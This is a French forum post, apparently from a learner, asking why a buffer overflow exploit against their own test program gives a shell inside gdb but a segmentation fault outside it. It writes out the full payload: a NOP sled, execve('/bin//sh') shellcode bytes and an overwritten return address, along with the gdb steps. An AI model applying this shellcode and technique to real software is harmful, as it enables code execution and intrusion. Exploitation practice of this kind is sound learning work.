Bon maintenant j'ai un autre problême.
J'ai testé une autre solution pour l'exploiter ce programme :
j'ouvre gdb , je tape : r `python -c "print 'A'*108"`
Pour écraser eip et ebp , ensuite je fais : x/2000xb $esp
Pour prendre l'adresse d'un nop ( 0x41 )
Ensuite ( toujours dans gdb ) je tape cette commande :
r `python -c "print '\x90'*80 + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x48\xf8\xff\xbf'"`
et là j'obtiens un shell :
$
Donc je quitte gdb , et je test donc cette commande pour exploiter mon programme :
./overflow `python -c "print '\x90'*80 + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x48\xf8\xff\xbf'"`
et là j'obtiens 'erreur de segmentation'
je précise que mon randomize_va_space est à 0 et que je suis sous une architecture 32bits.
Merci de votre aide
